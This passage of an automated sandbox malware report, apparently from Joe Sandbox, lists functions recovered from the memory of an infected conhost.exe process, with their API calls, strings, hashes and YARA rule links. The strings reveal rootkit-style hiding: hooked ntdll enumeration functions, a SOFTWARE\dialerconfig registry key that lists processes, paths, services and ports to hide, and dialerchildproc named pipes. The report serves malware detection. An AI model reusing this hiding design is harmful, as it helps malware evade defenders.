November, xrefs: 0000024B3451CBA8, 0000024B3451CBB2
October, xrefs: 0000024B3451CBBE

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 5f710538dd2b30e004e38f0d5da7dacf11acd2e6ba5017aaeeef8ab51406cf00
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 82E0DF21F0464592FF079F57F45E2E83B21EB9A744FAB50A3A91906396CF3CC886C340

Function 0000024B3455D608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000024B3455D631
TlsSetValue.KERNEL32 ref: 0000024B3455D648

Strings

FlsSetValue, xrefs: 0000024B3455D61E

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 1830439ba5b2422d1820c333c9645479c3867a0a56c2edad11773341fc573fab
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: 59E09262F20640B1FB074F57F84D6BC2B32BB88781F4AA0A2D90A06355CF3CC859C704

Function 0000024B34551D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000024B34551D9B
HeapAlloc.KERNEL32 ref: 0000024B34551DAA
GetProcessHeap.KERNEL32 ref: 0000024B34551E1E
HeapFree.KERNEL32 ref: 0000024B34551E2C

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 632107949db22ca789e6ef4169cb3b34457fadc4cbd4950f0b8a4b6cf3f982c6
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 6221A422E15B8092EB528F5BE40826EFFA0FB89B94F064160DE8D47B24EF7CC542C700

Function 0000024B34551274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000024B3455127A
HeapAlloc.KERNEL32 ref: 0000024B34551289
GetProcessHeap.KERNEL32 ref: 0000024B345512A3
HeapAlloc.KERNEL32 ref: 0000024B345512B4

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: ea20568a8e1de818be7db3500e2a4c22120bca330af692d7905e51c78ef04446
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: A5E06571A21A0097E7098FA3D80834A3AE1FB9AF01F4AD024C90907360DF7EC4DACB80

Analysis Process: conhost.exePID: 6168, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 00000216ACFD3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000216ACFD347A
PathFindFileNameW.SHLWAPI ref: 00000216ACFD3489

Part of subcall function 00000216ACFD3930: StrCmpNIW.SHLWAPI ref: 00000216ACFD3948

Part of subcall function 00000216ACFD3878: GetModuleHandleW.KERNEL32 ref: 00000216ACFD3886
Part of subcall function 00000216ACFD3878: GetCurrentProcess.KERNEL32 ref: 00000216ACFD38B4
Part of subcall function 00000216ACFD3878: VirtualProtectEx.KERNEL32 ref: 00000216ACFD38D6
Part of subcall function 00000216ACFD3878: GetCurrentProcess.KERNEL32 ref: 00000216ACFD38F4
Part of subcall function 00000216ACFD3878: VirtualProtectEx.KERNEL32 ref: 00000216ACFD3915

CreateThread.KERNEL32 ref: 00000216ACFD34D7

Part of subcall function 00000216ACFD1EB4: GetCurrentThread.KERNEL32 ref: 00000216ACFD1EBF

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 893d5dacaad420b2dacc5c6a634efc7938e22cfb34dad62e93cc16f6fce40d5d
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 06115B7161460982FB62972DB90E3ED22EFAF7630EF4441259F56A6198EF7DC08CC210

Function 00000216ACFD1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000216ACFD1650: GetProcessHeap.KERNEL32 ref: 00000216ACFD165B
Part of subcall function 00000216ACFD1650: HeapAlloc.KERNEL32 ref: 00000216ACFD166A
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD16DA
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1707
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD1721
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1741
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD175C
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD177C
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD1797
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD17B7
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD17D2
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD17F2

Sleep.KERNEL32 ref: 00000216ACFD1C43
SleepEx.KERNELBASE ref: 00000216ACFD1C49

Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD180D
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD182D
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD1848
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1868
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD1883
Part of subcall function 00000216ACFD1650: RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD18A3
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD18BE
Part of subcall function 00000216ACFD1650: RegCloseKey.ADVAPI32 ref: 00000216ACFD18C8

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 7c38ec1f17aced3197e9535f2529ffacc96dd5552352892eb493a53143d74361
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: BF31E33620060999FF529F7EE54D3DE13EFAF64BE9F04D021DE09A7699DF14C4509250

Function 00000216AAA72908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000216AAA72A31

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: 3143d5f18772142025f3364728f2f763df1437254cc6a4f9971328c286eb9dcc
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 4861223270125087EA68CF15D46C7AEB3D1FF64B94F448022DF1A97B89DB3AE856C700

Non-executed Functions

Function 00000216ACFD2CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000216ACFD2D80
lstrlenW.KERNEL32 ref: 00000216ACFD2FBA

Part of subcall function 00000216ACFD1A14: OpenProcess.KERNEL32 ref: 00000216ACFD1A3A
Part of subcall function 00000216ACFD1A14: K32GetModuleFileNameExW.KERNEL32 ref: 00000216ACFD1A58
Part of subcall function 00000216ACFD1A14: PathFindFileNameW.SHLWAPI ref: 00000216ACFD1A67
Part of subcall function 00000216ACFD1A14: lstrlenW.KERNEL32 ref: 00000216ACFD1A73
Part of subcall function 00000216ACFD1A14: StrCpyW.SHLWAPI ref: 00000216ACFD1A86
Part of subcall function 00000216ACFD1A14: CloseHandle.KERNEL32 ref: 00000216ACFD1A94

GetProcAddress.KERNEL32 ref: 00000216ACFD2D95

Part of subcall function 00000216ACFD1554: StrCmpIW.SHLWAPI ref: 00000216ACFD1585

Part of subcall function 00000216ACFD3930: StrCmpNIW.SHLWAPI ref: 00000216ACFD3948

StrCmpNIW.SHLWAPI ref: 00000216ACFD2DD8
lstrlenW.KERNEL32 ref: 00000216ACFD2F00

Strings

NtQueryObject, xrefs: 00000216ACFD2D8B
ntdll.dll, xrefs: 00000216ACFD2D79
\Device\Nsi, xrefs: 00000216ACFD2DCB

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 7b83f6cded1a0b97e65bb081b4a7369bf9a664cd38c62376474f0ff6fb761171
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: A3B1AC72210A5982EBA69F2DD44C7ED63EAFF64B8CF145016EE0963798DB35CD84C380

Function 00000216ACFD7E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000216ACFD7E8C
RtlCaptureContext.NTDLL ref: 00000216ACFD7EB9
RtlLookupFunctionEntry.NTDLL ref: 00000216ACFD7ED3
RtlVirtualUnwind.NTDLL ref: 00000216ACFD7F14
IsDebuggerPresent.KERNEL32 ref: 00000216ACFD7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216ACFD7F89
UnhandledExceptionFilter.KERNEL32 ref: 00000216ACFD7F94

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: ea88aeee58807cd2dffca6095022d8c178404506ca9e8d55a047491463bc1268
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: AE317073204B84CAEB608F68E8487EE73A9FF95748F44442ADA4D57B98EF38C548C710

Function 00000216ACFDB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000216ACFDB585
RtlLookupFunctionEntry.NTDLL ref: 00000216ACFDB59D
RtlVirtualUnwind.NTDLL ref: 00000216ACFDB5D8
IsDebuggerPresent.KERNEL32 ref: 00000216ACFDB611
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216ACFDB61B
UnhandledExceptionFilter.KERNEL32 ref: 00000216ACFDB626

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: e957e0b95d64842829e576aa25b3bba470a7d7fd7fbd4d9377043b786125c23f
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 3C318E32214F8486EB20CF28E8483DE73A9FF99758F540116EA9D57BA8DF38C549CB00

Function 00000216ACFDFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000216ACFDFF67
WriteFile.KERNEL32 ref: 00000216ACFE021E
WriteFile.KERNEL32 ref: 00000216ACFE0270
GetLastError.KERNEL32 ref: 00000216ACFE0372
GetLastError.KERNEL32 ref: 00000216ACFE03D2

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: f535d79f3937ace7f2499d766dffacdadf870ce0f82d93d60ab47a60846d957f
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: B9E1F032B04A849AE701CF68D48C3DD7BB6FF56788F548116EF4A67B99DA38C51AC700

Function 00000216ACFD1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000216ACFD165B
HeapAlloc.KERNEL32 ref: 00000216ACFD166A

Part of subcall function 00000216ACFD1274: GetProcessHeap.KERNEL32 ref: 00000216ACFD127A
Part of subcall function 00000216ACFD1274: HeapAlloc.KERNEL32 ref: 00000216ACFD1289
Part of subcall function 00000216ACFD1274: GetProcessHeap.KERNEL32 ref: 00000216ACFD12A3
Part of subcall function 00000216ACFD1274: HeapAlloc.KERNEL32 ref: 00000216ACFD12B4

RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD16DA
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1707
RegCloseKey.ADVAPI32 ref: 00000216ACFD1721
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1741
RegCloseKey.ADVAPI32 ref: 00000216ACFD175C
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD177C
RegCloseKey.ADVAPI32 ref: 00000216ACFD1797
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD17B7
RegCloseKey.ADVAPI32 ref: 00000216ACFD17D2
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD17F2
RegCloseKey.ADVAPI32 ref: 00000216ACFD180D
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD182D
RegCloseKey.ADVAPI32 ref: 00000216ACFD1848
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD1868
RegCloseKey.ADVAPI32 ref: 00000216ACFD1883
RegOpenKeyExW.ADVAPI32 ref: 00000216ACFD18A3
RegCloseKey.ADVAPI32 ref: 00000216ACFD18BE
RegCloseKey.ADVAPI32 ref: 00000216ACFD18C8

Part of subcall function 00000216ACFD12C8: RegQueryInfoKeyW.ADVAPI32 ref: 00000216ACFD1326
Part of subcall function 00000216ACFD12C8: GetProcessHeap.KERNEL32 ref: 00000216ACFD1334
Part of subcall function 00000216ACFD12C8: HeapAlloc.KERNEL32 ref: 00000216ACFD1345
Part of subcall function 00000216ACFD12C8: RegEnumValueW.ADVAPI32 ref: 00000216ACFD13A1
Part of subcall function 00000216ACFD12C8: GetProcessHeap.KERNEL32 ref: 00000216ACFD13E9
Part of subcall function 00000216ACFD12C8: HeapAlloc.KERNEL32 ref: 00000216ACFD13F7
Part of subcall function 00000216ACFD12C8: GetProcessHeap.KERNEL32 ref: 00000216ACFD141B
Part of subcall function 00000216ACFD12C8: HeapFree.KERNEL32 ref: 00000216ACFD1429
Part of subcall function 00000216ACFD12C8: lstrlenW.KERNEL32 ref: 00000216ACFD1432
Part of subcall function 00000216ACFD12C8: GetProcessHeap.KERNEL32 ref: 00000216ACFD1440
Part of subcall function 00000216ACFD12C8: HeapAlloc.KERNEL32 ref: 00000216ACFD144E

Strings

udp, xrefs: 00000216ACFD189C
SOFTWARE\dialerconfig, xrefs: 00000216ACFD16BA
tcp_local, xrefs: 00000216ACFD1826
pid, xrefs: 00000216ACFD173A
tcp_remote, xrefs: 00000216ACFD1861
service_names, xrefs: 00000216ACFD17EB
paths, xrefs: 00000216ACFD17B0
startup, xrefs: 00000216ACFD16FD
process_names, xrefs: 00000216ACFD1775

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 15a28eb50da5c8d6157e13b806637574bfe47b621e694ecdc3de697b667383f8
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 94711836310E588AEB109F69E84C6DD27BAFFA5B9CF045111DE4D63A29DE38C549C700

Function 00000216ACFD12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216ACFD1326
GetProcessHeap.KERNEL32 ref: 00000216ACFD1334
HeapAlloc.KERNEL32 ref: 00000216ACFD1345
RegEnumValueW.ADVAPI32 ref: 00000216ACFD13A1

Part of subcall function 00000216ACFD1554: StrCmpIW.SHLWAPI ref: 00000216ACFD1585

GetProcessHeap.KERNEL32 ref: 00000216ACFD13E9
HeapAlloc.KERNEL32 ref: 00000216ACFD13F7
GetProcessHeap.KERNEL32 ref: 00000216ACFD141B
HeapFree.KERNEL32 ref: 00000216ACFD1429
lstrlenW.KERNEL32 ref: 00000216ACFD1432
GetProcessHeap.KERNEL32 ref: 00000216ACFD1440
HeapAlloc.KERNEL32 ref: 00000216ACFD144E
StrCpyW.SHLWAPI ref: 00000216ACFD1470
GetProcessHeap.KERNEL32 ref: 00000216ACFD1485
HeapFree.KERNEL32 ref: 00000216ACFD1493

Strings

d, xrefs: 00000216ACFD1365

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: b08a4d970c8199a8e19d08164504a78fe802a3e2112e4f3c075990bc11c0aeb6
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 74515A72614B4896EB14CF6AE54C39EB3AAFB9AB94F088128DE4917B14DF3CC059C740

Function 00000216ACFD1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000216ACFD1EBF

Part of subcall function 00000216ACFD2174: GetModuleHandleA.KERNEL32 ref: 00000216ACFD218C
Part of subcall function 00000216ACFD2174: GetProcAddress.KERNEL32 ref: 00000216ACFD219D

Part of subcall function 00000216ACFD5C10: GetCurrentThreadId.KERNEL32 ref: 00000216ACFD5C4B

Strings

advapi32.dll, xrefs: 00000216ACFD1F97, 00000216ACFD1FB8
EnumServiceGroupW, xrefs: 00000216ACFD1F90
EnumServicesStatusExW, xrefs: 00000216ACFD1FB1, 00000216ACFD1FD2
NtQueryDirectoryFile, xrefs: 00000216ACFD1F1F
NtDeviceIoControlFile, xrefs: 00000216ACFD1FF6
NtQueryDirectoryFileEx, xrefs: 00000216ACFD1F3C
ntdll.dll, xrefs: 00000216ACFD1ECD
sechost.dll, xrefs: 00000216ACFD1FD9
NtEnumerateValueKey, xrefs: 00000216ACFD1F76
NtResumeThread, xrefs: 00000216ACFD1F02
NtEnumerateKey, xrefs: 00000216ACFD1F59
NtQuerySystemInformation, xrefs: 00000216ACFD1EE5

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 52e4b070a27c08695c2c76d6a80402335e4283076ee9e3f8bc51578ccf05c1d3
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: DC31C7B4200A5EE0EB4ADF6CE85D6DC336BBF75348F82541395193316A9E388A4DC390

Function 00000216ACFD23F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000216ACFD2405
GetCurrentProcessId.KERNEL32 ref: 00000216ACFD240F

Part of subcall function 00000216ACFD19AC: OpenProcess.KERNEL32 ref: 00000216ACFD19CA
Part of subcall function 00000216ACFD19AC: IsWow64Process.KERNEL32 ref: 00000216ACFD19E0
Part of subcall function 00000216ACFD19AC: CloseHandle.KERNEL32 ref: 00000216ACFD19FB

CreateFileW.KERNEL32 ref: 00000216ACFD2468
WriteFile.KERNEL32 ref: 00000216ACFD2490
ReadFile.KERNEL32 ref: 00000216ACFD24AF
CloseHandle.KERNEL32 ref: 00000216ACFD24B8

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000216ACFD243F
\\.\pipe\dialerchildproc64, xrefs: 00000216ACFD2438

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: c2740dff10df5738d9cc888abaaedb395c281a98eeb5c5ed4f0ea1d163617abd
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: CB213E35614B4482E710CB29F44C3AE77A6FB9ABA9F544215DE5913AA8CF3CC549CB01

Function 00000216ACFD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216ACFD10AB
RegEnumValueW.ADVAPI32 ref: 00000216ACFD110E
GetProcessHeap.KERNEL32 ref: 00000216ACFD1155
HeapAlloc.KERNEL32 ref: 00000216ACFD1163
GetProcessHeap.KERNEL32 ref: 00000216ACFD1187
HeapFree.KERNEL32 ref: 00000216ACFD1195

Strings

d, xrefs: 00000216ACFD10CE

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 81fdf50ea7b20d696ee92110824eeedc3b1d0f1569cc297a8d2f1bdd8dac6fc6
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 1641C233604B849BEB618F59E44C3DEB7AAFB99798F008129DB8917B44DF38C165CB00

Function 00000216AAA769F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000216AAA76A18
__scrt_acquire_startup_lock.LIBCMT ref: 00000216AAA76A6A
_RTC_Initialize.LIBCMT ref: 00000216AAA76A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000216AAA76ABE
__scrt_release_startup_lock.LIBCMT ref: 00000216AAA76AE9

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 276578507945c33ef4afd4b8fa06b4e4d34558ccef6c99f6ca09a8f39995bc43
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: CE819271A1028146FA559B26987D3EFA6E0EFB9780F4440279F1DF379ADB3BC8458700

Function 00000216ACFD75F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000216ACFD7618
